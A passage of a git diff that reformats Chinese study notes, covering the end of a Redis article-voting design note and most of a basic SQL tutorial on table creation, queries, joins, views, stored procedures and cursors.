-- 在首页可以按文章的发布时间或者文章的点赞数进行排序显示。
+- 可以发布文章；
+- 可以对文章进行点赞；
+- 在首页可以按文章的发布时间或者文章的点赞数进行排序显示。
 
-## 文章信息
+## 文章信息
 
-文章包括标题、作者、赞数等信息，在关系型数据库中很容易构建一张表来存储这些信息，在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。
+文章包括标题、作者、赞数等信息，在关系型数据库中很容易构建一张表来存储这些信息，在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。
 
-Redis 没有关系型数据库中的表这一概念来将同种类型的数据存放在一起，而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间，后面部分的内容存储 ID，通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617，其中 article 为命名空间，ID 为 92617。
+Redis 没有关系型数据库中的表这一概念来将同种类型的数据存放在一起，而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间，后面部分的内容存储 ID，通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617，其中 article 为命名空间，ID 为 92617。
 
-<img src="index_files/7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/>
+<div align="center"> <img src="pics/7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/> </div><br>
 
-## 点赞功能
+## 点赞功能
 
-当有用户为一篇文章点赞时，除了要对该文章的 votes 字段进行加 1 操作，还必须记录该用户已经对该文章进行了点赞，防止用户点赞次数超过 1。可以建立文章的已投票用户集合来进行记录。
+当有用户为一篇文章点赞时，除了要对该文章的 votes 字段进行加 1 操作，还必须记录该用户已经对该文章进行了点赞，防止用户点赞次数超过 1。可以建立文章的已投票用户集合来进行记录。
 
 为了节约内存，规定一篇文章发布满一周之后，就不能再对它进行投票，而文章的已投票集合也会被删除，可以为文章的已投票集合设置一个一周的过期时间就能实现这个规定。
 
-<img src="index_files/485fdf34-ccf8-4185-97c6-17374ee719a0.png" width="400"/>
+<div align="center"> <img src="pics/485fdf34-ccf8-4185-97c6-17374ee719a0.png" width="400"/> </div><br>
 
-## 对文章进行排序
+## 对文章进行排序
 
-为了按发布时间和点赞数进行排序，可以建立一个文章发布时间的有序集合和一个文章点赞数的有序集合。（下图中的 score 就是这里所说的点赞数；下面所示的有序集合分值并不直接是时间和点赞数，而是根据时间和点赞数间接计算出来的）
+为了按发布时间和点赞数进行排序，可以建立一个文章发布时间的有序集合和一个文章点赞数的有序集合。（下图中的 score 就是这里所说的点赞数；下面所示的有序集合分值并不直接是时间和点赞数，而是根据时间和点赞数间接计算出来的）
 
-<img src="index_files/f7d170a3-e446-4a64-ac2d-cb95028f81a8.png" width="800"/>
+<div align="center"> <img src="pics/f7d170a3-e446-4a64-ac2d-cb95028f81a8.png" width="800"/> </div><br>
 
-# 参考资料
+# 参考资料
 
-- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
-- [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html)
-- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
-- [Skip Lists: Done Right](http://ticki.github.io/blog/skip-lists-done-right/)
-- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
-- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
-- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
-- [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)
----bottom---CyC---
-![](index_files/6019b2db-bc3e-4408-b6d8-96025f4481d6.png)
-![](index_files/fb327611-7e2b-4f2f-9f5b-38592d408f07.png)
-![](index_files/cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png)
-![](index_files/7bd202a7-93d4-4f3a-a878-af68ae25539a.png)
-![](index_files/1202b2d6-9469-4251-bd47-ca6034fb6116.png)
-![](index_files/beba612e-dc5b-4fc2-869d-0b23408ac90a.png)
-![](index_files/0ea37ee2-c224-4c79-b895-e131c6805c40.png)
-![](index_files/9ea86eb5-000a-4281-b948-7b567bd6f1d8.png)
-![](index_files/c0a9fa91-da2e-4892-8c9f-80206a6f7047.png)
-![](index_files/395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png)
-![](index_files/7c54de21-e2ff-402e-bc42-4037de1c1592.png)
-![](index_files/485fdf34-ccf8-4185-97c6-17374ee719a0.png)
-![](index_files/f7d170a3-e446-4a64-ac2d-cb95028f81a8.png)
+- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
+- [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html)
+- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
+- [Skip Lists: Done Right](http://ticki.github.io/blog/skip-lists-done-right/)
+- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
+- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
+- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
+- [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)
diff --git a/docs/notes/SQL.md b/docs/notes/SQL.md
index e322879b..8aa2bf38 100644
--- a/docs/notes/SQL.md
+++ b/docs/notes/SQL.md
@@ -1,321 +1,350 @@
-# 一、基础
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、基础](#一基础)
+* [二、创建表](#二创建表)
+* [三、修改表](#三修改表)
+* [四、插入](#四插入)
+* [五、更新](#五更新)
+* [六、删除](#六删除)
+* [七、查询](#七查询)
+* [八、排序](#八排序)
+* [九、过滤](#九过滤)
+* [十、通配符](#十通配符)
+* [十一、计算字段](#十一计算字段)
+* [十二、函数](#十二函数)
+* [十三、分组](#十三分组)
+* [十四、子查询](#十四子查询)
+* [十五、连接](#十五连接)
+* [十六、组合查询](#十六组合查询)
+* [十七、视图](#十七视图)
+* [十八、存储过程](#十八存储过程)
+* [十九、游标](#十九游标)
+* [二十、触发器](#二十触发器)
+* [二十一、事务管理](#二十一事务管理)
+* [二十二、字符集](#二十二字符集)
+* [二十三、权限管理](#二十三权限管理)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
+
+
+# 一、基础
 
 模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息，数据库和表都有模式。
 
 主键的值不允许修改，也不允许复用（不能使用已经删除的主键值赋给新数据行的主键）。
 
-SQL（Structured Query Language)，标准 SQL 由 ANSI 标准委员会管理，从而称为 ANSI SQL。各个 DBMS 都有自己的实现，如 PL/SQL、Transact-SQL 等。
+SQL（Structured Query Language)，标准 SQL 由 ANSI 标准委员会管理，从而称为 ANSI SQL。各个 DBMS 都有自己的实现，如 PL/SQL、Transact-SQL 等。
 
-SQL 语句不区分大小写，但是数据库表名、列名和值是否区分依赖于具体的 DBMS 以及配置。
+SQL 语句不区分大小写，但是数据库表名、列名和值是否区分依赖于具体的 DBMS 以及配置。
 
-SQL 支持以下三种注释：
+SQL 支持以下三种注释：
 
 ```sql
-# 注释
-SELECT *
-FROM mytable; -- 注释
-/* 注释1
-   注释2 */
+# 注释
+SELECT *
+FROM mytable; -- 注释
+/* 注释1
+   注释2 */
 ```
 
 数据库创建与使用：
 
 ```sql
-CREATE DATABASE test;
-USE test;
+CREATE DATABASE test;
+USE test;
 ```
 
-# 二、创建表
+# 二、创建表
 
 ```sql
-CREATE TABLE mytable (
-  id INT NOT NULL AUTO_INCREMENT,
-  col1 INT NOT NULL DEFAULT 1,
-  col2 VARCHAR(45) NULL,
-  col3 DATE NULL,
-  PRIMARY KEY (`id`));
+CREATE TABLE mytable (
+  id INT NOT NULL AUTO_INCREMENT,
+  col1 INT NOT NULL DEFAULT 1,
+  col2 VARCHAR(45) NULL,
+  col3 DATE NULL,
+  PRIMARY KEY (`id`));
 ```
 
-# 三、修改表
+# 三、修改表
 
 添加列
 
 ```sql
-ALTER TABLE mytable
-ADD col CHAR(20);
+ALTER TABLE mytable
+ADD col CHAR(20);
 ```
 
 删除列
 
 ```sql
-ALTER TABLE mytable
-DROP COLUMN col;
+ALTER TABLE mytable
+DROP COLUMN col;
 ```
 
 删除表
 
 ```sql
-DROP TABLE mytable;
+DROP TABLE mytable;
 ```
 
-# 四、插入
+# 四、插入
 
 普通插入
 
 ```sql
-INSERT INTO mytable(col1, col2)
-VALUES(val1, val2);
+INSERT INTO mytable(col1, col2)
+VALUES(val1, val2);
 ```
 
 插入检索出来的数据
 
 ```sql
-INSERT INTO mytable1(col1, col2)
-SELECT col1, col2
-FROM mytable2;
+INSERT INTO mytable1(col1, col2)
+SELECT col1, col2
+FROM mytable2;
 ```
 
 将一个表的内容插入到一个新表
 
 ```sql
-CREATE TABLE newtable AS
-SELECT * FROM mytable;
+CREATE TABLE newtable AS
+SELECT * FROM mytable;
 ```
 
-# 五、更新
+# 五、更新
 
 ```sql
-UPDATE mytable
-SET col = val
-WHERE id = 1;
+UPDATE mytable
+SET col = val
+WHERE id = 1;
 ```
 
-# 六、删除
+# 六、删除
 
 ```sql
-DELETE FROM mytable
-WHERE id = 1;
+DELETE FROM mytable
+WHERE id = 1;
 ```
 
-**TRUNCATE TABLE** 可以清空表，也就是删除所有行。
+**TRUNCATE TABLE**  可以清空表，也就是删除所有行。
 
 ```sql
-TRUNCATE TABLE mytable;
+TRUNCATE TABLE mytable;
 ```
 
-使用更新和删除操作时一定要用 WHERE 子句，不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试，防止错误删除。
+使用更新和删除操作时一定要用 WHERE 子句，不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试，防止错误删除。
 
-# 七、查询
+# 七、查询
 
-## DISTINCT
+## DISTINCT
 
 相同值只会出现一次。它作用于所有列，也就是说所有列的值都相同才算相同。
 
 ```sql
-SELECT DISTINCT col1, col2
-FROM mytable;
+SELECT DISTINCT col1, col2
+FROM mytable;
 ```
 
-## LIMIT
+## LIMIT
 
-限制返回的行数。可以有两个参数，第一个参数为起始行，从 0 开始；第二个参数为返回的总行数。
+限制返回的行数。可以有两个参数，第一个参数为起始行，从 0 开始；第二个参数为返回的总行数。
 
-返回前 5 行：
+返回前 5 行：
 
 ```sql
-SELECT *
-FROM mytable
-LIMIT 5;
+SELECT *
+FROM mytable
+LIMIT 5;
 ```
 
 ```sql
-SELECT *
-FROM mytable
-LIMIT 0, 5;
+SELECT *
+FROM mytable
+LIMIT 0, 5;
 ```
 
-返回第 3 ~ 5 行：
+返回第 3 \~ 5 行：
 
 ```sql
-SELECT *
-FROM mytable
-LIMIT 2, 3;
+SELECT *
+FROM mytable
+LIMIT 2, 3;
 ```
 
-# 八、排序
+# 八、排序
 
-- **ASC**：升序（默认）
-- **DESC**：降序
+-  **ASC** ：升序（默认）
+-  **DESC** ：降序
 
 可以按多个列进行排序，并且为每个列指定不同的排序方式：
 
 ```sql
-SELECT *
-FROM mytable
-ORDER BY col1 DESC, col2 ASC;
+SELECT *
+FROM mytable
+ORDER BY col1 DESC, col2 ASC;
 ```
 
-# 九、过滤
+# 九、过滤
 
-不进行过滤的数据非常大，导致通过网络传输了多余的数据，从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据，而不是传输所有的数据到客户端中然后由客户端进行过滤。
+不进行过滤的数据非常大，导致通过网络传输了多余的数据，从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据，而不是传输所有的数据到客户端中然后由客户端进行过滤。
 
 ```sql
-SELECT *
-FROM mytable
-WHERE col IS NULL;
+SELECT *
+FROM mytable
+WHERE col IS NULL;
 ```
 
-下表显示了 WHERE 子句可用的操作符
+下表显示了 WHERE 子句可用的操作符
 
-|  操作符 | 说明  |
-| :---: | :---: |
-| = | 等于 |
-| &lt; | 小于 |
-| &gt; | 大于 |
-| &lt;&gt; != | 不等于 |
-| &lt;= !&gt; | 小于等于 |
-| &gt;= !&lt; | 大于等于 |
-| BETWEEN | 在两个值之间 |
-| IS NULL | 为 NULL 值 |
+|  操作符 | 说明  |
+| :---: | :---: |
+| = | 等于 |
+| &lt; | 小于 |
+| &gt; | 大于 |
+| &lt;&gt; != | 不等于 |
+| &lt;= !&gt; | 小于等于 |
+| &gt;= !&lt; | 大于等于 |
+| BETWEEN | 在两个值之间 |
+| IS NULL | 为 NULL 值 |
 
-应该注意到，NULL 与 0、空字符串都不同。
+应该注意到，NULL 与 0、空字符串都不同。
 
-**AND 和 OR** 用于连接多个过滤条件。优先处理 AND，当一个过滤表达式涉及到多个 AND 和 OR 时，可以使用 () 来决定优先级，使得优先级关系更清晰。
+**AND 和 OR**  用于连接多个过滤条件。优先处理 AND，当一个过滤表达式涉及到多个 AND 和 OR 时，可以使用 () 来决定优先级，使得优先级关系更清晰。
 
-**IN** 操作符用于匹配一组值，其后也可以接一个 SELECT 子句，从而匹配子查询得到的一组值。
+**IN**  操作符用于匹配一组值，其后也可以接一个 SELECT 子句，从而匹配子查询得到的一组值。
 
-**NOT** 操作符用于否定一个条件。
+**NOT**  操作符用于否定一个条件。
 
-# 十、通配符
+# 十、通配符
 
 通配符也是用在过滤语句中，但它只能用于文本字段。
 
-- **%** 匹配 >=0 个任意字符；
+-  **%**  匹配 >=0 个任意字符；
 
-- **\_** 匹配 ==1 个任意字符；
+-  **\_**  匹配 ==1 个任意字符；
 
-- **[ ]** 可以匹配集合内的字符，例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定，也就是不匹配集合内的字符。
+-  **[ ]**  可以匹配集合内的字符，例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定，也就是不匹配集合内的字符。
 
-使用 Like 来进行通配符匹配。
+使用 Like 来进行通配符匹配。
 
 ```sql
-SELECT *
-FROM mytable
-WHERE col LIKE '[^AB]%'; -- 不以 A 和 B 开头的任意文本
+SELECT *
+FROM mytable
+WHERE col LIKE '[^AB]%'; -- 不以 A 和 B 开头的任意文本
 ```
 
 不要滥用通配符，通配符位于开头处匹配会非常慢。
 
-# 十一、计算字段
+# 十一、计算字段
 
 在数据库服务器上完成数据的转换和格式化的工作往往比客户端上快得多，并且转换和格式化后的数据量更少的话可以减少网络通信量。
 
-计算字段通常需要使用 **AS** 来取别名，否则输出的时候字段名为计算表达式。
+计算字段通常需要使用  **AS**  来取别名，否则输出的时候字段名为计算表达式。
 
 ```sql
-SELECT col1 * col2 AS alias
-FROM mytable;
+SELECT col1 * col2 AS alias
+FROM mytable;
 ```
 
-**CONCAT()** 用于连接两个字段。许多数据库会使用空格把一个值填充为列宽，因此连接的结果会出现一些不必要的空格，使用 **TRIM()** 可以去除首尾空格。
+**CONCAT()**  用于连接两个字段。许多数据库会使用空格把一个值填充为列宽，因此连接的结果会出现一些不必要的空格，使用 **TRIM()** 可以去除首尾空格。
 
 ```sql
-SELECT CONCAT(TRIM(col1), '(', TRIM(col2), ')') AS concat_col
-FROM mytable;
+SELECT CONCAT(TRIM(col1), '(', TRIM(col2), ')') AS concat_col
+FROM mytable;
 ```
 
-# 十二、函数
+# 十二、函数
 
-各个 DBMS 的函数都是不相同的，因此不可移植，以下主要是 MySQL 的函数。
+各个 DBMS 的函数都是不相同的，因此不可移植，以下主要是 MySQL 的函数。
 
-## 汇总
+## 汇总
 
-|函 数 |说 明|
-| :---: | :---: |
-| AVG() | 返回某列的平均值 |
-| COUNT() | 返回某列的行数 |
-| MAX() | 返回某列的最大值 |
-| MIN() | 返回某列的最小值 |
-| SUM() |返回某列值之和 |
+|函 数 |说 明|
+| :---: | :---: |
+| AVG() | 返回某列的平均值 |
+| COUNT() | 返回某列的行数 |
+| MAX() | 返回某列的最大值 |
+| MIN() | 返回某列的最小值 |
+| SUM() |返回某列值之和 |
 
-AVG() 会忽略 NULL 行。
+AVG() 会忽略 NULL 行。
 
-使用 DISTINCT 可以让汇总函数值汇总不同的值。
+使用 DISTINCT 可以让汇总函数值汇总不同的值。
 
 ```sql
-SELECT AVG(DISTINCT col1) AS avg_col
-FROM mytable;
+SELECT AVG(DISTINCT col1) AS avg_col
+FROM mytable;
 ```
 
-## 文本处理
+## 文本处理
 
-| 函数  | 说明  |
-| :---: | :---: |
-|  LEFT() |  左边的字符 |
-| RIGHT() | 右边的字符 |
-| LOWER() | 转换为小写字符 |
-| UPPER() | 转换为大写字符 |
-| LTRIM() | 去除左边的空格 |
-| RTRIM() | 去除右边的空格 |
-| LENGTH() | 长度 |
-| SOUNDEX() | 转换为语音值 |
+| 函数  | 说明  |
+| :---: | :---: |
+|  LEFT() |  左边的字符 |
+| RIGHT() | 右边的字符 |
+| LOWER() | 转换为小写字符 |
+| UPPER() | 转换为大写字符 |
+| LTRIM() | 去除左边的空格 |
+| RTRIM() | 去除右边的空格 |
+| LENGTH() | 长度 |
+| SOUNDEX() | 转换为语音值 |
 
-其中，**SOUNDEX()** 可以将一个字符串转换为描述其语音表示的字母数字模式。
+其中， **SOUNDEX()**  可以将一个字符串转换为描述其语音表示的字母数字模式。
 
 ```sql
-SELECT *
-FROM mytable
-WHERE SOUNDEX(col1) = SOUNDEX('apple')
+SELECT *
+FROM mytable
+WHERE SOUNDEX(col1) = SOUNDEX('apple')
 ```
 
-## 日期和时间处理
+## 日期和时间处理
 
-- 日期格式：YYYY-MM-DD
-- 时间格式：HH:MM:SS
+- 日期格式：YYYY-MM-DD
+- 时间格式：HH:MM:SS
 
-|函 数 | 说 明|
-| :---: | :---: |
-| AddDate() | 增加一个日期（天、周等）|
-| AddTime() | 增加一个时间（时、分等）|
-| CurDate() | 返回当前日期 |
-| CurTime() | 返回当前时间 |
-| Date() |返回日期时间的日期部分|
-| DateDiff() |计算两个日期之差|
-| Date_Add() |高度灵活的日期运算函数|
-| Date_Format() |返回一个格式化的日期或时间串|
-| Day()| 返回一个日期的天数部分|
-| DayOfWeek() |对于一个日期，返回对应的星期几|
-| Hour() |返回一个时间的小时部分|
-| Minute() |返回一个时间的分钟部分|
-| Month() |返回一个日期的月份部分|
-| Now() |返回当前日期和时间|
-| Second() |返回一个时间的秒部分|
-| Time() |返回一个日期时间的时间部分|
-| Year() |返回一个日期的年份部分|
+|函 数 | 说 明|
+| :---: | :---: |
+| AddDate() | 增加一个日期（天、周等）|
+| AddTime() | 增加一个时间（时、分等）|
+| CurDate() | 返回当前日期 |
+| CurTime() | 返回当前时间 |
+| Date() |返回日期时间的日期部分|
+| DateDiff() |计算两个日期之差|
+| Date_Add() |高度灵活的日期运算函数|
+| Date_Format() |返回一个格式化的日期或时间串|
+| Day()| 返回一个日期的天数部分|
+| DayOfWeek() |对于一个日期，返回对应的星期几|
+| Hour() |返回一个时间的小时部分|
+| Minute() |返回一个时间的分钟部分|
+| Month() |返回一个日期的月份部分|
+| Now() |返回当前日期和时间|
+| Second() |返回一个时间的秒部分|
+| Time() |返回一个日期时间的时间部分|
+| Year() |返回一个日期的年份部分|
 
 ```sql
-mysql> SELECT NOW();
+mysql> SELECT NOW();
 ```
 
 ```
-2018-4-14 20:25:11
+2018-4-14 20:25:11
 ```
 
-## 数值处理
+## 数值处理
 
-| 函数 | 说明 |
-| :---: | :---: |
-| SIN() | 正弦 |
-| COS() | 余弦 |
-| TAN() | 正切 |
-| ABS() | 绝对值 |
-| SQRT() | 平方根 |
-| MOD() | 余数 |
-| EXP() | 指数 |
-| PI() | 圆周率 |
-| RAND() | 随机数 |
+| 函数 | 说明 |
+| :---: | :---: |
+| SIN() | 正弦 |
+| COS() | 余弦 |
+| TAN() | 正切 |
+| ABS() | 绝对值 |
+| SQRT() | 平方根 |
+| MOD() | 余数 |
+| EXP() | 指数 |
+| PI() | 圆周率 |
+| RAND() | 随机数 |
 
-# 十三、分组
+# 十三、分组
 
 分组就是把具有相同的数据值的行放在同一组中。
 
@@ -324,186 +353,186 @@ mysql> SELECT NOW();
 指定的分组字段除了能按该字段进行分组，也会自动按该字段进行排序。
 
 ```sql
-SELECT col, COUNT(*) AS num
-FROM mytable
-GROUP BY col;
+SELECT col, COUNT(*) AS num
+FROM mytable
+GROUP BY col;
 ```
 
-GROUP BY 自动按分组字段进行排序，ORDER BY 也可以按汇总字段来进行排序。
+GROUP BY 自动按分组字段进行排序，ORDER BY 也可以按汇总字段来进行排序。
 
 ```sql
-SELECT col, COUNT(*) AS num
-FROM mytable
-GROUP BY col
-ORDER BY num;
+SELECT col, COUNT(*) AS num
+FROM mytable
+GROUP BY col
+ORDER BY num;
 ```
 
-WHERE 过滤行，HAVING 过滤分组，行过滤应当先于分组过滤。
+WHERE 过滤行，HAVING 过滤分组，行过滤应当先于分组过滤。
 
 ```sql
-SELECT col, COUNT(*) AS num
-FROM mytable
-WHERE col > 2
-GROUP BY col
-HAVING num >= 2;
+SELECT col, COUNT(*) AS num
+FROM mytable
+WHERE col > 2
+GROUP BY col
+HAVING num >= 2;
 ```
 
 分组规定：
 
-- GROUP BY 子句出现在 WHERE 子句之后，ORDER BY 子句之前；
-- 除了汇总字段外，SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出；
-- NULL 的行会单独分为一组；
-- 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。
+- GROUP BY 子句出现在 WHERE 子句之后，ORDER BY 子句之前；
+- 除了汇总字段外，SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出；
+- NULL 的行会单独分为一组；
+- 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。
 
-# 十四、子查询
+# 十四、子查询
 
 子查询中只能返回一个字段的数据。
 
-可以将子查询的结果作为 WHRER 语句的过滤条件：
+可以将子查询的结果作为 WHRER 语句的过滤条件：
 
 ```sql
-SELECT *
-FROM mytable1
-WHERE col1 IN (SELECT col2
-               FROM mytable2);
+SELECT *
+FROM mytable1
+WHERE col1 IN (SELECT col2
+               FROM mytable2);
 ```
 
 下面的语句可以检索出客户的订单数量，子查询语句会对第一个查询检索出的每个客户执行一次：
 
 ```sql
-SELECT cust_name, (SELECT COUNT(*)
-                   FROM Orders
-                   WHERE Orders.cust_id = Customers.cust_id)
-                   AS orders_num
-FROM Customers
-ORDER BY cust_name;
+SELECT cust_name, (SELECT COUNT(*)
+                   FROM Orders
+                   WHERE Orders.cust_id = Customers.cust_id)
+                   AS orders_num
+FROM Customers
+ORDER BY cust_name;
 ```
 
-# 十五、连接
+# 十五、连接
 
-连接用于连接多个表，使用 JOIN 关键字，并且条件语句使用 ON 而不是 WHERE。
+连接用于连接多个表，使用 JOIN 关键字，并且条件语句使用 ON 而不是 WHERE。
 
 连接可以替换子查询，并且比子查询的效率一般会更快。
 
-可以用 AS 给列名、计算字段和表名取别名，给表名取别名是为了简化 SQL 语句以及连接相同表。
+可以用 AS 给列名、计算字段和表名取别名，给表名取别名是为了简化 SQL 语句以及连接相同表。
 
-## 内连接
+## 内连接
 
-内连接又称等值连接，使用 INNER JOIN 关键字。
+内连接又称等值连接，使用 INNER JOIN 关键字。
 
 ```sql
-SELECT A.value, B.value
-FROM tablea AS A INNER JOIN tableb AS B
-ON A.key = B.key;
+SELECT A.value, B.value
+FROM tablea AS A INNER JOIN tableb AS B
+ON A.key = B.key;
 ```
 
-可以不明确使用 INNER JOIN，而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。
+可以不明确使用 INNER JOIN，而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。
 
 ```sql
-SELECT A.value, B.value
-FROM tablea AS A, tableb AS B
-WHERE A.key = B.key;
+SELECT A.value, B.value
+FROM tablea AS A, tableb AS B
+WHERE A.key = B.key;
 ```
 
 在没有条件语句的情况下返回笛卡尔积。
 
-## 自连接
+## 自连接
 
 自连接可以看成内连接的一种，只是连接的表是自身而已。
 
-一张员工表，包含员工姓名和员工所属部门，要找出与 Jim 处在同一部门的所有员工姓名。
+一张员工表，包含员工姓名和员工所属部门，要找出与 Jim 处在同一部门的所有员工姓名。
 
 子查询版本
 
 ```sql
-SELECT name
-FROM employee
-WHERE department = (
-      SELECT department
-      FROM employee
-      WHERE name = "Jim");
+SELECT name
+FROM employee
+WHERE department = (
+      SELECT department
+      FROM employee
+      WHERE name = "Jim");
 ```
 
 自连接版本
 
 ```sql
-SELECT e1.name
-FROM employee AS e1 INNER JOIN employee AS e2
-ON e1.department = e2.department
-      AND e2.name = "Jim";
+SELECT e1.name
+FROM employee AS e1 INNER JOIN employee AS e2
+ON e1.department = e2.department
+      AND e2.name = "Jim";
 ```
 
-## 自然连接
+## 自然连接
 
 自然连接是把同名列通过等值测试连接起来的，同名列可以有多个。
 
 内连接和自然连接的区别：内连接提供连接的列，而自然连接自动连接所有同名列。
 
 ```sql
-SELECT A.value, B.value
-FROM tablea AS A NATURAL JOIN tableb AS B;
+SELECT A.value, B.value
+FROM tablea AS A NATURAL JOIN tableb AS B;
 ```
 
-## 外连接
+## 外连接
 
 外连接保留了没有关联的那些行。分为左外连接，右外连接以及全外连接，左外连接就是保留左表没有关联的行。
 
 检索所有顾客的订单信息，包括还没有订单信息的顾客。
 
 ```sql
-SELECT Customers.cust_id, Orders.order_num
-FROM Customers LEFT OUTER JOIN Orders
-ON Customers.cust_id = Orders.cust_id;
+SELECT Customers.cust_id, Orders.order_num
+FROM Customers LEFT OUTER JOIN Orders
+ON Customers.cust_id = Orders.cust_id;
 ```
 
-customers 表：
+customers 表：
 
-| cust_id | cust_name |
-| :---: | :---: |
-| 1 | a |
-| 2 | b |
-| 3 | c |
+| cust_id | cust_name |
+| :---: | :---: |
+| 1 | a |
+| 2 | b |
+| 3 | c |
 
-orders 表：
+orders 表：
 
-| order_id | cust_id |
-| :---: | :---: |
-|1    | 1 |
-|2    | 1 |
-|3    | 3 |
-|4    | 3 |
+| order_id | cust_id |
+| :---: | :---: |
+|1    | 1 |
+|2    | 1 |
+|3    | 3 |
+|4    | 3 |
 
 结果：
 
-| cust_id | cust_name | order_id |
-| :---: | :---: | :---: |
-| 1 | a | 1 |
-| 1 | a | 2 |
-| 3 | c | 3 |
-| 3 | c | 4 |
-| 2 | b | Null |
+| cust_id | cust_name | order_id |
+| :---: | :---: | :---: |
+| 1 | a | 1 |
+| 1 | a | 2 |
+| 3 | c | 3 |
+| 3 | c | 4 |
+| 2 | b | Null |
 
-# 十六、组合查询
+# 十六、组合查询
 
-使用 **UNION** 来组合两个查询，如果第一个查询返回 M 行，第二个查询返回 N 行，那么组合查询的结果一般为 M+N 行。
+使用  **UNION**  来组合两个查询，如果第一个查询返回 M 行，第二个查询返回 N 行，那么组合查询的结果一般为 M+N 行。
 
 每个查询必须包含相同的列、表达式和聚集函数。
 
-默认会去除相同行，如果需要保留相同行，使用 UNION ALL。
+默认会去除相同行，如果需要保留相同行，使用 UNION ALL。
 
-只能包含一个 ORDER BY 子句，并且必须位于语句的最后。
+只能包含一个 ORDER BY 子句，并且必须位于语句的最后。
 
 ```sql
-SELECT col
-FROM mytable
-WHERE col = 1
+SELECT col
+FROM mytable
+WHERE col = 1
 UNION
-SELECT col
-FROM mytable
-WHERE col =2;
+SELECT col
+FROM mytable
+WHERE col =2;
 ```
 
-# 十七、视图
+# 十七、视图
 
 视图是虚拟的表，本身不包含数据，也就不能对其进行索引操作。
 
@@ -511,57 +540,57 @@ WHERE col =2;
 
 视图具有如下好处：
 
-- 简化复杂的 SQL 操作，比如复杂的连接；
-- 只使用实际表的一部分数据；
-- 通过只给用户访问视图的权限，保证数据的安全性；
-- 更改数据格式和表示。
+- 简化复杂的 SQL 操作，比如复杂的连接；
+- 只使用实际表的一部分数据；
+- 通过只给用户访问视图的权限，保证数据的安全性；
+- 更改数据格式和表示。
 
 ```sql
-CREATE VIEW myview AS
-SELECT Concat(col1, col2) AS concat_col, col3*col4 AS compute_col
-FROM mytable
-WHERE col5 = val;
+CREATE VIEW myview AS
+SELECT Concat(col1, col2) AS concat_col, col3*col4 AS compute_col
+FROM mytable
+WHERE col5 = val;
 ```
 
-# 十八、存储过程
+# 十八、存储过程
 
-存储过程可以看成是对一系列 SQL 操作的批处理。
+存储过程可以看成是对一系列 SQL 操作的批处理。
 
 使用存储过程的好处：
 
-- 代码封装，保证了一定的安全性；
-- 代码复用；
-- 由于是预先编译，因此具有很高的性能。
+- 代码封装，保证了一定的安全性；
+- 代码复用；
+- 由于是预先编译，因此具有很高的性能。
 
-命令行中创建存储过程需要自定义分隔符，因为命令行是以 ; 为结束符，而存储过程中也包含了分号，因此会错误把这部分分号当成是结束符，造成语法错误。
+命令行中创建存储过程需要自定义分隔符，因为命令行是以 ; 为结束符，而存储过程中也包含了分号，因此会错误把这部分分号当成是结束符，造成语法错误。
 
-包含 in、out 和 inout 三种参数。
+包含 in、out 和 inout 三种参数。
 
-给变量赋值都需要用 select into 语句。
+给变量赋值都需要用 select into 语句。
 
 每次只能给一个变量赋值，不支持集合的操作。
 
 ```sql
-delimiter //
+delimiter //
 
-create procedure myprocedure( out ret int )
-    begin
-        declare y int;
-        select sum(col1)
-        from mytable
-        into y;
-        select y*y into ret;
-    end //
+create procedure myprocedure( out ret int )
+    begin
+        declare y int;
+        select sum(col1)
+        from mytable
+        into y;
+        select y*y into ret;
+    end //
 
-delimiter ;
+delimiter ;
 ```
 
 ```sql
-call myprocedure(@ret);
-select @ret;
+call myprocedure(@ret);
+select @ret;
 ```
 
-# 十九、游标
+# 十九、游标
 
 在存储过程中使用游标可以对一个结果集进行移动遍历。
 
@@ -569,171 +598,171 @@ select @ret;
 
 使用游标的四个步骤：
 
-1. 声明游标，这个过程没有实际检索出数据；
-2. 打开游标；
-3. 取出数据；
-4. 关闭游标；
+1. 声明游标，这个过程没有实际检索出数据；
+2. 打开游标；
+3. 取出数据；
+4. 关闭游标；
 
 ```sql
-delimiter //
-create procedure myprocedure(out ret int)
-    begin
-        declare done boolean default 0;
+delimiter //
+create procedure myprocedure(out ret int)
+    begin
